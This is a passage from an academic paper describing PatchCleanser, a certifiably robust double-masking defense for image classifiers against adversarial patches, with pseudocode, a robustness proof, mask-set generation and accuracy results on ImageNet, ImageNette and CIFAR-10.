y, ȳ ∈ Y Class label k,k0× k1 Budget of #masks
m ∈M Pixel mask m,m0×m1 Mask size
r ∈ R Patch region s,s0× s1 Mask stride
P ⊂M ×Y Masked prediction set n,n0×n1 Image size

Mask set formulation. We represent each mask as a binary
tensor m∈{0,1}W×H in the same shape as the W×H images;
the elements within the mask take values of 0, and others are
1. We further denote a set of masks as M (these are similar
to the definitions of r and R ). We require the mask set M to
have the R -covering property as defined below.

Definition 1 (R -covering). A mask set M is R -covering if,
for any patch in the patch region set R , at least one mask
from the mask set M can cover the entire patch, i.e.,

∀ r ∈ R , ∃m ∈M s.t. m[i, j]≤ r[i, j], ∀(i, j)

For a particular patch region set R , there are multiple valid
R -covering mask sets M with a variable number of masks
and different mask sizes/shapes. We will discuss a general ap-
proach for R -covering mask set generation in Section 3.4. In
the next subsection, we introduce how to perform our double-
masking defense with a R -covering mask set.

3.2 Double-masking for Robust Prediction
The double-masking algorithm is the core module of Patch-
Cleanser; it performs two rounds of masking with an R -
covering mask set to robustly recover the correct prediction
label. Our defense is based on the intuition that model pre-
dictions on images without adversarial pixels are generally
correct and invariant to the masking operation: in Figure 1, we
can visually recognize the dog even with one or two masks on
the image.4 In this subsection, we first introduce the high-level
defense design and then explain the algorithm details.

First-round masking: detecting a prediction disagree-
ment. Recall that Figure 1 gives an overview of our double-
masking algorithm. In the first round of masking, we apply
every mask m from the R -covering mask set M to the input
image and evaluate all one-mask predictions (left of Figure 1).
In the clean setting, all one-mask predictions are likely to
reach a unanimous agreement on the correct label, and we
will output the agreed prediction (top of Figure 1). In the ad-
versarial setting, at least one mask will remove all adversarial
pixels; thus, at least one one-mask prediction is benign and
likely to be correct (bottom left of Figure 1). In this case, we
will detect a disagreement in one-mask predictions (benign

4A similar intuition is used in existing works [8,18,30], but we are the first
to design a certifiably robust image classification defense without abstention.
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versus malicious); we will then perform a second round of
masking to settle this disagreement.

Second-round masking: settling the prediction dis-
agreement. We first divide all one-mask prediction labels
into two groups: the majority prediction (the prediction label
with the highest occurrence) and the disagreer predictions
(other labels that disagree with the majority). We need to de-
cide which prediction label to trust (i.e., the majority or one of
the disagreers). To solve this problem, we iterate over every
disagreer prediction, get its corresponding first-round mask,
and add a second mask from our mask set M to compute a
set of two-mask predictions (right of Figure 1). If the first-
round disagreer mask removes the patch, every second-round
mask is applied to a “clean" image, and thus all two-mask
predictions (evaluated with one first-round mask and different
second-round masks) are likely to have a unanimous agree-
ment. We can trust and return this agreed prediction. On the
other hand, if the first-round disagreer mask does not remove
the patch, the one-masked image is still “adversarial", and the
second-round mask will cause a disagreement in two-mask
predictions (when one of the second masks covers the patch).
In this case, we discard this one-mask disagreer. Finally, if
we try all one-mask disagreer predictions and no prediction
label is returned, we trust and return the one-mask majority
prediction as the default exit case.

Algorithm details. We provide the defense pseudocode in
Algorithm 1. The defense takes an image x, an undefended
model F, and an R -covering mask set M as inputs and out-
puts a robust prediction ȳ. Line 2-5 illustrates the first-round
masking; Line 6-11 demonstrates the second-round masking.

Details of first-round masking. In Algorithm 1, we first call
the masking sub-procedure MASKPRED(·) using the mask
set M (Line 2). The mask set M needs to ensure that at least
one mask can remove the entire patch (i.e., R -covering); we
will discuss the mask set generation approach in Section 3.4.

In MASKPRED(·), we aim to collect all masked predictions
and determine the majority prediction label (i.e., the label with
the highest occurrence) as well as disagreer predictions (i.e.,
other predictions). We first generate a set P for holding all
mask-prediction pairs. Next, for each mask m in the mask
set M , we evaluate the masked prediction via ȳ← F(x�
m); here � is the element-wise multiplication operator. We
then add the mask-prediction pair (m, ȳ) to the set P . After
gathering all masked predictions, we identify the label with
the highest prediction occurrence as majority prediction ȳmaj
(Line 20). Furthermore, we construct a disagreer prediction
set Pdis, whose elements are disagreer mask-prediction pairs
(Line 21). Finally, we return the majority prediction label ȳmaj
and the disagreer prediction set Pdis.

After the first call of MASKPRED(·), we check if one-mask
predictions reach a unanimous agreement (i.e., the disagreer
prediction set Pdis is empty; Line 3). If Pdis is empty, we
consider the input image likely as a clean image and return the
agreed/majority prediction (Case I: agreed prediction; Line 4).

Algorithm 1 Double-masking defense of PatchCleanser
Input: Image x, vanilla prediction model F, mask set M
Output: Robust prediction ȳ

1: procedure DOUBLEMASKING(x,F,M )
2: ȳmaj,Pdis←MASKPRED(x,F,M ) . First-rnd. mask
3: if Pdis =∅ then
4: return ȳmaj . Case I: agreed prediction
5: end if
6: for each (mdis, ȳdis) ∈ Pdis do . Second-rnd. mask
7: ȳ′,P ′←MASKPRED(x�mdis,F,M )
8: if P ′ =∅ then
9: return ȳdis . Case II: disagreer prediction

10: end if
11: end for
12: return ȳmaj . Case III: majority prediction
13: end procedure

14: procedure MASKPRED(x,F,M )
15: P ←∅ . A set for mask-prediction pairs
16: for m ∈M do . Enumerate every mask m
17: ȳ← F(x�m) . Evaluate masked prediction
18: P ← P

⋃
{(m, ȳ)} . Update set P

19: end for
20: ȳmaj← argmaxy∗ |{(m, ȳ) ∈ P | ȳ = y∗}| . Majority
21: Pdis←{(m, ȳ) ∈ P | ȳ 6= ȳmaj} . Disagreers
22: return ȳmaj,Pdis
23: end procedure

On the other hand, a non-empty disagreer set implies a first-
round prediction disagreement, and the algorithm proceeds to
the second-round masking to settle the disagreement.

Details of second-round masking. The pseudocode of the
second-round masking is in Line 6-11. We will look into
every one-mask disagreer prediction in Pdis (Line 6). For
each (mdis, ȳdis), we apply the disagreer mask mdis to the
image and feed the masked image x�mdis to the masking
sub-procedure MASKPRED(·) for the second-round masking
(Line 7). If all two-mask predictions reach a unanimous agree-
ment (i.e., P ′ = ∅), we consider that the first-round mask
mdis has already removed the adversarial perturbations. Our
algorithm returns this one-mask disagreer prediction (Case II:
disagreer prediction; Line 9). On the other hand, if two-mask
predictions disagree (i.e., P ′ 6=∅), we consider that the dis-
agreer mask mdis has not removed the patch. In this case, we
discard this one-mask disagreer prediction and move to the
next one. In the end, if we return no prediction in the second-
round masking, we trust and return the one-mask majority
prediction ȳmaj (Case III: majority prediction; Line 12).

Remark: defense complexity. When the number of dis-
agreer predictions is bounded by a small constant C (which
is the usual case in the clean setting), the defense complexity
is O(|M |+C · |M |). However, its worst-case complexity is
O(|M |2) (doing all two-mask predictions). In Appendix C,
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we discuss and evaluate another defense algorithm that has the
same robustness guarantees and a better worst-case inference
complexity O(|M |), at the cost of a drop in clean accuracy.

3.3 Robustness Certification for Double-
Masking Defense

In this subsection, we discuss how to certify the robustness of
our double-masking algorithm for a given image. Recall that
we say our defense is certifiably robust for a given image if our
model prediction is always correct against any adaptive white-
box attacker within our threat model AR . The certification
only applies to labeled images since we need ground-truth
labels to check the prediction correctness.

First, we define a concept of two-mask correctness, which
we claim is a sufficient condition for certified robustness.

Definition 2 (two-mask correctness). A model F has two-
mask correctness for a mask set M and a clean image data
point (x,y), if model predictions on all possible two-masked
images are correct, i.e.,

F(x�m0�m1) = y ,∀m0 ∈M ,∀m1 ∈M

Next, we present our theorem stating that two-mask correct-
ness for a clean image (and an R -covering mask set) implies
the certifiable robustness of our defense to adversarial patches
(constrained by AP ) on that image.

Theorem 1. Given a clean data point (x,y), a classification
model F, a mask set M , and the threat model AR , if M is
R -covering and F has two-mask correctness for M and (x,y),
then our double-masking defense (Algorithm 1) will always
return a correct label, i.e., DOUBLEMASKING(x′,F,M ) =
y, ∀ x′ ∈ AR (x).

Proof. First, we present three useful claims for our proof.

Claim. Given the same conditions of Theorem 1 (R -covering
and two-mask correctness), we have:

1. There is at least one correct one-mask prediction in the
first-round masking (Line 2 of Algorithm 1).

2. There is at least one correct two-mask prediction in ev-
ery iteration of the second-round masking (Line 7 of
Algorithm 1).

3. If a first-round mask removes the patch, then all its
second-round two-mask predictions (Line 7 of Algo-
rithm 1) are correct.

Proof. The proof of three claims follows from the definitions
of R -covering and two-mask correctness.

1. The first claim holds since at least one first-round mask
removes the patch (due to R -covering) and recovers the
correct prediction (due to two-mask correctness; note
that two-mask correctness reduces to “one-mask" cor-
rectness when two masks are at the same locations).

2. The second claim holds since at least one second-round
mask removes the patch (due to R -covering) and recov-
ers the correct prediction (due to two-mask correctness).

3. The third claim holds since all the two-mask predictions
are benign and correct when the patch is removed by the
first-round mask (due to two-mask correctness).

Next, we use these three claims to prove three lemmas,
which together show that our double-masking algorithm (Al-
gorithm 1) will never return an incorrect prediction (given
R -covering and two-mask correctness). All lemmas are under
the same conditions of Theorem 1.

Lemma 1. Algorithm 1 will never return an incorrect label
via Case I (Line 4 of Algorithm 1).

Proof. If Algorithm 1 returns an incorrect label (ȳmaj 6= y) via
Case I, it means that Pdis =∅ and all one-mask predictions
in the first-round masking are incorrect as ȳmaj. This leads to
a contradiction because our first claim indicates that at least
one one-mask prediction is correct.

Lemma 2. Algorithm 1 will never return an incorrect label
via Case II (Line 9 of Algorithm 1).

Proof. If Algorithm 1 returns an incorrect label (ȳdis 6= y) via
Case II, it means that P ′ =∅ and all two-mask predictions
for the first-round disagreer (mdis, ȳdis) in the second-round
masking are incorrect as ȳdis. This leads to a contradiction
because our second claim indicates that at least one two-mask
prediction is correct in any iteration of the second-round mask-
ing.

Lemma 3. Algorithm 1 will never return an incorrect label
via Case III (Line 12 of Algorithm 1).

Proof. If Algorithm 1 returns an incorrect label via Case III,
we have ȳmaj 6= y. This implies that the correct label y is a
disagreer (recall that at least one first-round mask removes
the patch and gives the correct one-mask prediction label y).
From our third claim, we know that for this one-mask dis-
agreer (whose first-round mask removes the patch), all its
two-mask predictions are correct due to two-mask correct-
ness. Therefore, we have P ′ =∅, and Algorithm 1 will return
this disagreer ȳdis = y via Case II. This contradicts with Al-
gorithm 1 returning a label via Case III.

Putting things together, we prove in the above three lemmas
that our double-masking algorithm (Algorithm 1) will never
return an incorrect label. Since Algorithm 1 will always return
a prediction label, we have proved that our defense will always
return a correct label under the conditions of Theorem 1.

Robustness certification procedure. From Theorem 1,
we can certify the robustness of our defense on a clean/test
image by checking if our model has two-mask correctness
on that image. The pseudocode for our robust certification is
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Algorithm 2 Robustness certification for PatchCleanser
Input: Image x, ground-truth label y, vanilla prediction

model F, mask set M , threat model AR
Output: Whether x has certified robustness

1: procedure CERTIFICATION(x,y,F,M ,AR )
2: if M is not R -covering then . Insecure mask set
3: return False
4: end if
5: for every (m0,m1) ∈M ×M do
6: ȳ′← F(x�m0�m1) . Two-mask pred.
7: if ȳ′ 6= y then
8: return False . Possibly vulnerable
9: end if

10: end for
11: return True . Certified robustness!
12: end procedure

presented in Algorithm 2. First, the certification procedure
checks if mask set M is R -covering (Line 2). Next, it evalu-
ates all possible two-mask predictions (Line 5-10). If any of
the two-mask predictions is incorrect, the algorithm returns
False (possibly vulnerable). On the other hand, if all two-
mask predictions match the ground-truth y, we have certified
robustness for this image, and the algorithm returns True.

In our evaluation (Section 4), we will apply Algorithm 2 to
labeled datasets and report certified robust accuracy, the frac-
tion of labeled test images for which Algorithm 2 returns True.
We note that Theorem 1 ensures that this certified accuracy
is the lower bound of model accuracy against any adaptive
attacker within the threat model AR . For example, a certified
robust accuracy of 62.1% on the ImageNet [11] dataset im-
plies that PatchCleanser can correctly classify 62.1% of the
ImageNet test images, no matter how an adaptive attacker
(within the threat model) generates and places the patch.

3.4 Implementation of the End-to-End Patch-
Cleanser Defense

In this subsection, we first present an adaptive R -covering
mask set generation technique and then provide a complete
view of our end-to-end PatchCleanser defense.

Adaptive mask set generation. In practice, a defense
needs to operate within the constraints of available compu-
tational resources. This imposes a bound on the number of
masked model predictions that we can evaluate.5 Therefore,
we need to carefully generate a mask set that meets the com-
putation budget (i.e., the number of masks) while maintaining
the security guarantee (i.e., R -covering). We first present our
approach for 1-D “images" (Figure 3 provides two visual
examples) and then generalize it to 2-D.

5For example, there are 40k possible locations for a 24×24 mask on
a 224×224 image, and it is computationally expensive to evaluate all 40k
masked predictions.
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Figure 3: Visual examples for 1-D mask set generation. Both
mask sets are R -covering for a patch of estimated size p̄ = 2
on an image of size n = 6. Left example: smaller mask size
m = 2, smaller mask stride s = 1, and larger mask set I =
{0,1,2,3,4}. Right example: larger mask size m = 3, larger
mask stride s = 2, and smaller mask set I = {0,2,3}.

Adjusting the mask set size. We generate a mask set via mov-
ing a mask over the input image. Consider a mask of width m
over an image of size n, we first place the mask at the coordi-
nate 0 (so that the mask covers the indices from 0 to m−1).
Next, we move the mask with a stride of s across the image
and gather a set of mask locations {0,s,2s, · · · ,b n−m

s cs}. Fi-
nally, we place the last mask at the index of n−m in case the
mask at b n−m

s cs cannot cover the last m pixels. We can define
a mask set Mm,s,n as:

Mm,s,n = {m ∈ {0,1}n |m[u] = 0,u ∈ [i, i+m);
m[u] = 1,u 6∈ [i, i+m); i ∈ I}

I = {0,s,2s, · · · ,bn−m
s
cs}

⋃
{n−m} (1)

Furthermore, we can compute the mask set size as:

|Mm,s,n|= |I |= d
n−m

s
e+1 (2)

This equation shows that we can adjust the mask set size
via the mask stride s. In the example of Figure 3, we can
reduce the mask set size from 5 to 3 by increasing the mask
stride from 1 to 2. Next, we discuss the security property (i.e.,
R -covering) of the mask set M .

Ensuring the security guarantee. Using a large mask stride
might leave “gaps" between two adjacent masks; therefore,
we need to choose a proper mask size to cover these gaps to
ensure that the mask set M is R -covering. We present the
following lemma discussing the R -covering property of the
mask set Mm,s,n; we will present its proof in Appendix E.

Lemma 4. The mask set Mm,s,n is R -covering for a patch
that is no larger than p∗ = m− s+1.

Lemma 4 indicates that the mask size needs to be no smaller
than m∗ = p+ s−1 to ensure R -covering.

Mask set generation. Armed with the ability to adjust the
mask set size and to ensure the security guarantee (as dis-
cussed above), we now present our complete mask set genera-
tion approach. The procedure takes as inputs the computation
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budget k (i.e., the number of masks), the estimated patch size
p̄ (i.e., the security parameter), and the image size n, and aims
to generate a R -covering set that satisfies the computational
budget k. First, based on the the inputs k, p̄,n, we derive mask
stride s and mask size m using Lemma 4 (p̄ = m− s+1) and
Equation 2 (k = d n−m

s e+1) as follows:

s = dn− p̄+1
k

e

m = p̄+ s−1 (3)

Next, we generate the set Mm,s,n via Equation 1 accordingly.
We note that when we have a different estimation for the patch
size p̄, we only need to adjust the mask stride s and mask size
m according to Equation 3 while keeping the number of masks
k unchanged.

Generalizing to 2-D images. We can easily generalize
the 1-D mask set to 2-D by separately applying Equa-
tion 1 and Equation 3 to each of the two axes of the im-
age. For n0×n1 images, p̄0× p̄1 patches, k0× k1 number of
masks, we can calculate s0,s1,m0,m1 with Equation 3 and
obtain I0,I1 with Equation 1. The mask set generation be-
comes M(m0,m1),(s0,s1),(n0,n1) = {m ∈ {0,1}

n0×n1 | m[u,v] =
0,u ∈ [i, i + m0),v ∈ [ j, j + m1),(i, j) ∈ I0 × I1; m[u,v] =
1,otherwise}.

Remark: trade-off between efficiency and accuracy. As
shown in Equation 3, if we want to improve the efficiency
(by having a smaller k), we will have to use a larger stride
s and larger mask size m. Intuitively, the model prediction
is less accurate for a larger mask; thus, the improvement in
efficiency can be at the cost of model accuracy. Our mask
set generation approach allows us to balance this trade-off
between efficiency and accuracy in the real-world deployment.
We will study this trade-off in Section 4.3.

End-to-end PatchCleanser pipeline. With the mask set
generation technique, we can summarize the end-to-end Patch-
Cleanser pipeline as follows:

1. First, we perform adaptive mask set generation to obtain
a secure R -covering mask set M that satisfies a certain
computation budget (number of masks k0× k1).

2. Second, we perform double-masking (Algorithm 1) with
the model F and the mask set M for robust classification.

3. Third, we can use our certification procedure (Algo-
rithm 2) to certify the robustness of PatchCleanser on
a given labeled image against any adaptive white-box
attacker within the threat model AR . We will evaluate
the fraction of labeled test images that can be certified
across multiple datasets in the next section.

4 Evaluation

We instantiate PatchCleanser with three different classifica-
tion models, and extensively evaluate the defense using three

different datasets. We will demonstrate state-of-the-art clean
accuracy and certified robust accuracy of PatchCleanser com-
pared with prior works [7, 25, 33, 55, 61] and provide detailed
analysis of our defense under different settings.

In this section, we primarily focus on a single square patch
that can have arbitrary content and that can be anywhere on
the image. This setting is currently an open research ques-
tion in the field, and also allows for a fair comparison with
prior works [7, 25, 33, 55, 61]. We will show the flexibility of
PatchCleanser by demonstrating its generalization to a set of
different patch shapes and multiple patches in Section 5.1.

4.1 Setup
In this subsection, we briefly introduce our evaluation setup.
We provide additional details in our technical report [56].
Our source code is available at https://github.com/
inspire-group/PatchCleanser.

Datasets. We choose three popular image classification
benchmark datasets for evaluation: ImageNet [11], Ima-
geNette [14], CIFAR-10 [23].

ImageNet and ImageNette. ImageNet [11] is a chal-
lenging image classification dataset which has 1.3M train-
ing images and 50k validation images from 1000 classes.
ImageNette [14] is a 10-class subset of ImageNet with
9469 training images and 3925 validation images. Ima-
geNet/ImageNette images have a high resolution, and we
resize and crop them to 224×224 before feeding them to
different models.

CIFAR-10. CIFAR-10 [23] is a benchmark dataset for low-
resolution image classification. CIFAR-10 has 50k training
images and 10k test images from 10 classes. Each image is
in the resolution of 32×32. We resize them to 224×224 via
bicubic interpolation for a better classification performance.

Models. We choose three representative image classifica-
tion models to build PatchCleanser. We provide model train-
ing details in Appendix A.

ResNet. ResNet [19] is a classic Convolutional Neural Net-
work (CNN) model. It uses layers of convolution filters and
residual blocks to extract features for image classification. We
use ResNetV2-50x1 and its publicly available weights trained
for ImageNet [11]. We finetune the model for other different
datasets used in our evaluation.

Vision Transformer (ViT). ViT [13] is adapted from NLP
Transformer [50] for the image classification task. It divides
an image into disjoint pixel blocks, and uses self-attention
architecture to extract features across different pixel blocks for
classification. We use ViT-B16-224 [13] trained for ImageNet
and finetune it on other datasets.

Multi-layer Perceptron (MLP). There have been recent ad-
vances in leveraging MLP-only architectures for image clas-
sification (e.g., MLP-mixer [47], ResMLP [48]). These archi-
tectures take pixel blocks as input and “mix" features/pixels
across locations and channels for predictions. We choose
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Table 2: Clean accuracy and certified robust accuracy for different defenses and datasets†

Dataset ImageNette [14] ImageNet [11] CIFAR-10 [23]

Patch size 1% pixels 2% pixels 3% pixels 1% pixels 2% pixels 3% pixels 0.4% pixels 2.4% pixels

Accuracy (%) clean robust clean robust clean robust clean robust clean robust clean robust clean robust clean robust

PC-ResNet 99.6 96.4 99.6 94.4 99.5 93.5 81.7 58.4 81.6 53.0 81.4 50.0 98.0 88.5 97.8 78.8
PC-ViT 99.6 97.5 99.6 96.4 99.5 95.3 84.1 66.4 83.9 62.1 83.8 59.0 99.0 94.3 98.7 89.1

PC-MLP 99.4 96.8 99.3 95.3 99.4 94.6 79.6 58.4 79.4 53.8 79.3 50.7 97.4 86.1 97.0 78.0

IBP [7] computationally infeasible 65.8 51.9 47.8 30.8
CBN [61] 94.9 74.6 94.9 60.9 94.9 45.9 49.5 13.4 49.5 7.1 49.5 3.1 84.2 44.2 84.2 9.3
DS [25] 92.1 82.3 92.1 79.1 92.1 75.7 44.4 17.7 44.4 14.0 44.4 11.2 83.9 68.9 83.9 56.2

PG-BN [55] 95.2 89.0 95.0 86.7 94.8 83.0 55.1 32.3 54.6 26.0 54.1 19.7 84.5 63.8 83.9 47.3
PG-DS [55] 92.3 83.1 92.1 79.9 92.1 76.8 44.1 19.7 43.6 15.7 43.0 12.5 84.7 69.2 84.6 57.7
BagCert‡[33] – – – – – – 45.3 27.8 45.3 22.7 45.3 18.0 86.0 72.9 86.0 60.0

† We mark the best result for PatchCleanser models and the best result for prior works in bold.
‡ The BagCert numbers are provided by the authors [33] through personal communication since the source code is unavailable; results for ImageNette are not provided.

ResMLP-S24-224 [48] in our evaluation. We take the pre-
trained model for ImageNet, and finetune it for other datasets.

Adversarial patches. Following prior works [7, 25, 33,
55], we report defense performance against a square patch
that takes 1%, 2%, and 3% of input image pixels for Ima-
geNet/ImageNette and a square patch with 0.4% and 2.4%
pixels for CIFAR-10 images. We allow these patches to have
arbitrary content and be anywhere on the image. In Sec-
tion 4.3, we also report results for larger patch sizes (ranging
from 2% to 62% image pixels) to understand the limit of our
defense. In Section 5.1, we quantitatively discuss the implica-
tions of using a set of different rectangle patch shapes as well
as multiple patches.

Defenses. We build three defense instances PC-ResNet, PC-
ViT, PC-MLP using three vanilla models of ResNet, ViT, and
MLP. In Section 4.3, we will analyze the effect of different
defense setups (i.e., the number of masks). In our default
setup, we set the number of masks k0×k1 = k2 = 6×6, which
has high certified robustness and moderate computational
overhead. We then generate the R -covering mask set M as
discussed in Section 3.4.

We also report defense performance of prior works Interval
Bound Propagation based defense (IBP) [7], Clipped Bag-
Net (CBN) [61], De-randomized Smoothing (DS) [25], Patch-
Guard (PG) [55], and BagCert [33] for comparison. We use
the optimal defense settings stated in their respective papers.

Evaluation Metrics. We report clean accuracy and certi-
fied robust accuracy as our evaluation metrics. The clean ac-
curacy is defined as the fraction of clean test images that can
be correctly classified by our defended model. The certified
robust accuracy is the fraction of test images for which Algo-
rithm 2 returns True (certifies the robustness for this image),
i.e., no adaptive white-box attacker can bypass our defense.
In addition to accuracy metrics, we also use per-example
inference time to analyze the computational overhead.

Remark: no need to implement adaptive attacks. As
discussed in Section 3.3, certified robust accuracy is the lower
bound of model accuracy against any adaptive attacker within

Table 3: Clean accuracy of vanilla models
ImageNette ImageNet CIFAR-10

ResNet [19] 99.8% 82.3% 98.3%
ViT [13] 99.8% 84.8% 99.0%

MLP [48] 99.5% 80.2% 97.8%

the threat model. Therefore, it is not necessary to empirically
evaluate robustness using any concrete adaptive attack strat-
egy: empirical robust accuracy is always higher than certified
accuracy.

4.2 State-of-the-art Clean Accuracy and Cer-
tified Robust Accuracy across All Datasets

We report our main evaluation results for PatchCleanser in
Table 2 and compare defense performance with prior works.

State-of-the-art clean accuracy. As shown in Table 2,
PatchCleanser achieves high clean accuracy. Take PC-ViT as
an example, PatchCleanser achieves 99.5+% clean accuracy
for 10-class ImageNette, 83.8+% for 1000-class ImageNet,
and 98.7+% for CIFAR-10. We further report the accuracy
of state-of-the-art vanilla classification models in Table 3.
From these two tables, we can see that the clean accuracy of
our defense is very close to the state-of-the-art undefended
models (the difference is smaller than 1%). The high clean
accuracy can foster real-world deployment of our defense.

High certified robustness. In addition to state-of-the-art
clean accuracy achieved by our defense, we can see from
Table 2 that PatchCleanser also has very high certified robust
accuracy. For ImageNette, our PC-ViT has a certified robust
accuracy of 97.5% against a 1% square patch. That is, for
97.5% of the test images, no strong adaptive white-box at-
tacker who uses a 1%-pixel square patch anywhere on the
image can induce misclassification of our defended model.
Furthermore, we can also see high certified robust accuracy
for ImageNet and CIFAR-10, e.g., 66.4% certified robust ac-
curacy for a 1%-pixel patch on ImageNet and 94.3% certified
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Figure 4: The effect of mask set size on de-
fense performance (ImageNet)
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Figure 5: Trade-off between overhead and accuracy on ImageNet (left:
clean accuracy; right: certified robust accuracy)

robust accuracy for a 0.4%-pixel patch on CIFAR-10.
Significant improvements in clean accuracy and certi-

fied robust accuracy from prior works. We compare our
defense performance with all prior certifiably robust defenses.
From Table 2, we can see that all our defense instances (i.e.,
PC-ResNet, PC-ViT, and PC-MLP) significantly outperform
all prior works in terms of both clean accuracy and certified
robust accuracy. Notably, for a 2%-pixel patch on ImageNet,
PC-ViT improves the clean accuracy from 54.6% to 83.9%
(29.3% gain in top-1 accuracy) and boosts the certified ro-
bust accuracy from 26.0% to 62.1% (the accuracy gain is
36.1%; the improvement is more than 2 times). Moreover,
we can see that the certified robust accuracy of PC-ViT is
even higher than the clean accuracy of all prior works. These
significant improvements are due to PatchCleanser’s com-
patibility with state-of-the-art classification models, while
previous works are fundamentally incompatible with them
(recall that PG [55], DS [25], BagCert [33], CBN [61] are all
limited to models with a small receptive field).

We can also see large improvements across datasets in-
cluding ImageNette and CIFAR-10. For a 2%-pixel patch on
ImageNette, PC-ViT improves clean accuracy from 95.0% to
99.6% and certified robust accuracy from 86.7% to 96.4%.
For a 2.4%-pixel patch on CIFAR-10, PC-ViT improves clean
accuracy from 86.0% to 98.7% (12.7% gain) and certified
robust accuracy from 60.0% to 89.1% (29.1% gain).

Takeaways. In this subsection, we demonstrate that Patch-
Cleanser has similar clean accuracy as vanilla state-of-the-art
models, as well as high certified robust accuracy. In compari-
son with prior certifiably robust defenses, we demonstrate sig-
nificant improvements in both clean accuracy and certified ro-
bust accuracy. These improvements showcase the strength of
defenses that are compatible with any state-of-the-art model.

4.3 Detailed Analysis of PatchCleanser
In this subsection, we provide a detailed analysis of Patch-
Cleanser models. We will discuss the trade-off between de-
fense performance and defense overhead, study the implica-
tions of over-estimated patch sizes, and finally explore the
limit of PatchCleanser against larger patches.

There is a trade-off between defense performance and

defense overhead (balanced by the number of masks). In
this analysis, we use PC-ViT against a 2%-pixel patch on
5000 randomly selected ImageNet test images to study the
trade-off between defense performance and defense overhead.
In Figure 4, we report the clean accuracy, certified robust
accuracy, and per-example inference time (evaluated using
a batch size of one) for PC-ViT configured with different
computation budgets (i.e., number of masks k2). As shown in
the figure, as we increase the number of masks, the certified
robust accuracy first significantly improves and then gradually
saturates. This is because a larger k2 gives a smaller mask
stride and leads to a smaller mask size, which enhances the
robustness certification. However, we also observe that the
per-example inference time greatly increases as we are using
a larger number of masks. Therefore, we need to carefully
choose a proper mask set size to balance the trade-off between
defense performance and defense overhead. In our default
setting, we prioritize the defense performance and use a mask
set size of 62 = 36.

We further visualize the defense overhead and defense per-
formance (in terms of clean accuracy and certified robust
accuracy) for different defenses in Figure 5. As shown in
the figure, CBN [61] (12.0ms), PG-BN [55] (44.2ms), and
BagCert [33] (14.0ms) have a very small runtime since they
only requires one-time model feed-forward inference. For
PC-ViT, we report the performance trade-off under different
mask set sizes ranging from 4 to 36 (we omit PC-ResNet and
PC-MLP for simplicity). We can see that when PC-ViT is
optimized for classification accuracy, we have 83.8% clean
accuracy and 62.2% certified robust accuracy with a moderate
defense overhead (672.4ms). On the other hand, when PC-
ViT is optimized for defense efficiency, we achieve a small
per-example inference time (78.8ms) while still significantly
outperforming prior works in terms of clean accuracy (82.7%)
and certified robust accuracy (44.3%). Furthermore, we note
that prior works such as DS [25] and PG-DS [55] have a
much larger defense overhead on ImageNet (4740.0 ms and
4918.0ms, respectively).

From this analysis, we demonstrate that there is a trade-off
between defense strength and defense efficiency. In Patch-
Cleanser, we can tune mask set size to balance this trade-
off. In contrast, while prior works like PG-BN [55] and
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Figure 7: Clean accuracy for defense
setups against different patch sizes (Im-
ageNet)
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Figure 8: Certified robust accuracy
against different patch sizes (Ima-
geNet)

BagCert [33] have a smaller inference time, they cannot fur-
ther improve their defense performance regardless of addi-
tionally available computation resources. Finally, we argue
that our defense can be applied to time-sensitive applications
like video analysis by performing the defense on a subset of
frames. We also note that we can significantly reduce the em-
pirical inference time by running the masked prediction eval-
uation (i.e., MASKPRED(·) in Algorithm 1) in parallel when
multiple GPUs are available. With the improvement in com-
putation resources and the development of high-performance
lightweight models, we expect the computational cost to be
mitigated in the future.

Over-estimation of patch sizes has a small impact on
the defense performance. PatchCleanser requires a conser-
vative estimation of the patch size (as a security parameter)
to generate a proper mask set (the dependence on patch size
estimation is similar to several prior works [30,55,58]). In this
analysis, we aim to study the defense performance when we
over-estimate the patch size. In Figure 6, we plot the defense
performance as a function of an estimated patch area (i.e.,
the number of pixels) on the ImageNet dataset (the actual
patch has 32×32 pixels on the 224×224 image)). The x-axis
denotes the ratio of the estimated patch area to the actual
patch area; 100% implies no over-estimation. As shown in
the figure, as the over-estimation becomes greater, the clean
accuracy of PC-ViT is barely affected while the certified ro-
bust accuracy gradually drops. We note that even when the
estimation of the patch area is conservatively set to 4 times the
actual area of the patch, PC-ViT still significantly outperforms
all prior works.

Understanding the limit of our defense with larger
patch sizes. In Figure 7 and 8, we report the defense per-
formance of PC-ViT against different patch sizes on the
224×224 ImageNet test images. This analysis helps us to
understand the limit of PatchCleanser when facing extremely
large adversarial patches. Figure 7 shows that, as we increase
the patch size, the clean accuracy of PC-ViT slowly decreases.
For example, even when the patch size is 112×112 (on the
224×224 image), the clean accuracy is still above 80%. The
clean accuracy finally deteriorates to 0.1% (random guess)
when the patch is extremely large as 192×192. Figure 8
shows that the certified robust accuracy also decreases when

a larger patch is used. When a large patch of 64×64 is used,
we have 46.1% certified robust accuracy; when the patch is as
large as 112×112 (half of the image size), we still have a non-
trivial top-1 certified robust accuracy of 20.5% for 1000-class
classification. We note that we use a fixed number of masks
(k2 = 36) for this analysis; this shows that PatchCleanser per-
forms well across different patch sizes when having a fixed
computational budget.

We further plot the clean accuracy and certified accuracy
of prior defenses [25, 55, 61] in Figure 7 and 8. We can see
that the certified robust accuracy of prior works drops quickly
to zero when we consider a larger patch, while PatchCleanser
achieves a much higher robust accuracy across all patch sizes.
We note that the clean accuracy of CBN [61] and DS [25]
does not change due to their fixed defense parameters. When
the certified robust accuracy of DS and CBN reduces to zero
(at a patch size of 96px), PatchCleanser still has a much higher
clean accuracy and certified robust accuracy.

5 Discussion

In this section, we quantitatively discuss the implications
of multiple patch shapes and multiple patches, the Minority
Reports defense [30], limitations and future work directions.

5.1 PatchCleanser against Multiple Patch
Shapes and Multiple Patches

In Section 4, we primarily focus on the scenario of one square
patch. In this subsection, we further demonstrate the compati-
bility of our defense with (1) a set of different patch shapes
as well as (2) multiple patches.

Intuition. The key requirement of PatchCleanser is using
an R -covering mask set M . Therefore, to counter an attacker
who can use a patch from a set of different patch shapes or
who can use multiple patches, we only need to consider a
mask set that includes masks of different shapes or multiple
masks to ensure R -covering and plug the mask set into our
double-masking algorithm.

Different patch shapes. First, we consider a scenario
where an attacker can use any rectangle shape that cov-
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Table 4: Defense against different patch shapes (all possible
rectangle shapes that consist of 1% image pixels) and multiple
patches (two 1%-pixel square patches).

Dataset ImageNette ImageNet CIFAR-10

Accuracy (%) clean robust clean robust clean robust

Any 1% rectangle 99.2 91.8 85.4 49.8 99.4 82.6
1% square (baseline) 99.6 96.6 84.2 68.2 99.0 92.6

Two 1% square patches 98.8 89.2 83.8 45.8 98.6 76.6
